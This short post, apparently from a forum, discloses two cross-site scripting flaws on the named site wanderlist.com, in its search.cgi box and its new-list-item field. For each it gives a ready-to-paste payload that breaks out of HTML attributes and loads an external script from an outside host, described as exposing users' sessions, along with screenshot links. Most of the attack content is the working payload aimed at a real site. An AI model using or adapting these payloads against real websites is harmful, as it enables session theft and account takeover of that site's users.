Wanderlist.com

Homepage:

http://www.wanderlist.com

search.cgi

Search box input

adding a item to a list

Search.cgi XSS vuln with sessions disclosure:

By putting a few ending opening tags with quotes beforeand after,we are able create a XSS example:

">">">'<SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT><""><'<"

Screenshots:

http://www.youfucktard.com/xsp/wander1.jpg

http://www.youfucktard.com/xsp/wander2.jpg

---------------------

Adding item to a list XSS vuln with sessions disclosure:

In the New list item input box put:

">">">'<SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT><""><'<"

Screenshots:

http://www.youfucktard.com/xsp/wander3.jpg

http://www.youfucktard.com/xsp/wander4.jpg

http://www.youfucktard.com/xsp/wander5.jpg

[ reply ]